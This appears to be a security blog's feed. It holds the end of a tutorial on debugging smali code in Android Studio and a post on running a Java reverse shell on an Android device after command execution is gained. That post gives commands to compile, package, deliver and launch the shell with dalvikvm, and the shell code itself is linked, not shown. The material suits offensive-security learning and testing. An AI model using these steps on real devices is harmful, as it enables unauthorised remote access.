<p>Ready? Ok, go back to Android Studio and from its top menu bar choose <code class="language-plaintext highlighter-rouge">Run -> Debug</code>, then a small Debug menu window appears so click on its item <code class="language-plaintext highlighter-rouge">Edit Configurations...</code>. There, using a plus button, add new configuration of type Remote. Leave the default configuration as is but change port to the one you used previously, in my case it is 5005. Click the <code class="language-plaintext highlighter-rouge">Debug</code> button and your app should be running with the attached debugger which means it will stop once a breakpoint is hit and you can investigate the content of app’s variables.</p>
<h2 id="6-profit">6) Profit</h2>
<p>Or not, it’s up to you how useful you make it. For me, it was really handy when I was reverse engineering a custom HTTP request signing scheme without source code and <a href="https://developer.android.com/studio/build/shrink-code">ProGuard minification</a> turned on. I was not able to understand it just by looking at the decompiled code, dynamic analysis gave me more insight and I finally realized what was going on.</p>
<h4 id="side-notes">Side notes</h4>
<ul>
<li><sup><a name="sn-1">1</a></sup> By modifying the original APK you, of course, get another application. It may behave like the original for most of the times but you cannot be sure it’s 100% times.</li>
<li><sup><a name="sn-2">2</a></sup> See <a href="https://docs.microsoft.com/en-us/xamarin/android/deploy-test/signing/manually-signing-the-apk">Xamarin’s tutorial</a> if you’ve never manually signed APK before.</li>
<li><sup><a name="sn-3">3</a></sup> If you don’t see <code class="language-plaintext highlighter-rouge">Developer options</code> anywhere in the menu it might not be activated yet, follow <a href="https://developer.android.com/studio/debug/dev-options">docs</a> to see how to enable it.</li>
<li><sup><a name="sn-4">4</a></sup> There can be more applications listening using JDWP. If you don’t know what’s wrong you might be forwarding different app’s debug service. List all listening apps with <code class="language-plaintext highlighter-rouge">adb jdwp</code> and verify you use the correct one.</li>
</ul>malacupaIntro Being able to peek into what data are in memory of the app you are currently reverse engineering and step through its code are really useful features and Android Studio with smalidea plugin allows you exactly that. The steps to realize that were already described by smalidea authors on GitHub or in more details in CROSP’s article. These instructions, however, require DDMS which has recently deprecated. In this post, I want to show you an alternate way of debugging your smali code which works in latest Android Studio 3.2 without DDMS.Android Command Line Reverse Shell in Java2018-10-25T12:10:37+02:002018-10-25T12:10:37+02:00https://malacupa.com/2018/10/25/android-command-line-reverse-shell<h3 id="prerequisites">Prerequisites</h3>
<ul>
<li>Execution of commands on target Android system</li>
<li>Android SDK</li>
<li>Ability to download files on target (may be allowed through your ability to execute commands)</li>
</ul>
<h3 id="tldr">TL;DR</h3>
<p>Skip to <a href="#copy--paste-part">Copy and paste part</a></p>
<h3 id="verbose-intro">Verbose intro</h3>
<p>You can find <a href="https://0x00sec.org/t/getting-shell-on-android-and-signing-the-apk-file/3129">a</a> <a href="https://hackingvision.com/2017/02/18/embed-metasploit-payload-apk-file/">lot</a> <a href="https://github.com/dana-at-cp/backdoor-apk">of</a> <a href="https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/">resources</a> on how to inject meterpreter to APK for getting a reverse shell. What I want to address in this post is a simple tutorial on how to get your interactive remote command line access in case you already obtained command execution on the target device.
In my case, I needed this to make an exploitable Android application where you got command line code execution by taking advantage of deserialization vulnerability. Because googling on how to do that took me more than 10 minutes and taught me something new, I decided to share it here.</p>
<p>There is nothing novel, it’s just a way of compiling Java code to be executed by <a href="https://source.android.com/devices/tech/dalvik">ART/Dalvik</a> on Android’s command line.</p>
<h3 id="copy--paste-part">Copy & paste part</h3>
<p>First you need some Java reverse shell code. You can use following, which is basically just a verbose version of <a href="https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0">one GitHub gist</a> I found:
<script src="https://gist.github.com/malacupa/3a98285ad67c98386f7e798b25ef808c.js"></script></p>
<p>Then you have compile it to Java bytecode, convert it to DEX format and create JAR file (substitute path to Android SDK’s <code class="language-plaintext highlighter-rouge">dx</code> utility for your path and version):</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># compile Java source code</span>
javac ReverseShell.java
<span class="c"># convert to DEX format </span>
/path/to/your/android/sdk/build-tools/28.0.3/dx <span class="nt">--dex</span> <span class="nt">--output</span> classes.dex ReverseShell.class
<span class="c"># create fake JAR file</span>
zip ars.jar classes.dex
</code></pre></div></div>
<p>Now, deliver JAR file to target device. You can use <code class="language-plaintext highlighter-rouge">curl</code> through your command execution vulnerability on the device (if you got lucky and your target Android has it). Here, I fake this step using ADB:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push ars.jar /sdcard
</code></pre></div></div>
<p>Finally, by utilizing your command execution you start Java reverse shell from Android’s CLI using <code class="language-plaintext highlighter-rouge">dalvikvm</code> command like this (note the path to <code class="language-plaintext highlighter-rouge">ars.jar</code> delivered in previous step):</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/system/bin/dalvikvm <span class="nt">-cp</span> /sdcard/ars.jar ReverseShell
</code></pre></div></div>
<h3 id="final-note">Final note</h3>
<p>I should also mention that you might use much simpler solution for reverse shell using <code class="language-plaintext highlighter-rouge">sh</code> as this one here:
<script src="https://gist.github.com/random-robbie/4d6264cfadc7d716cd28ba29e424f62d.js"></script></p>
<p>But it might not be working for you and then you can use the solution above.</p>malacupaPrerequisites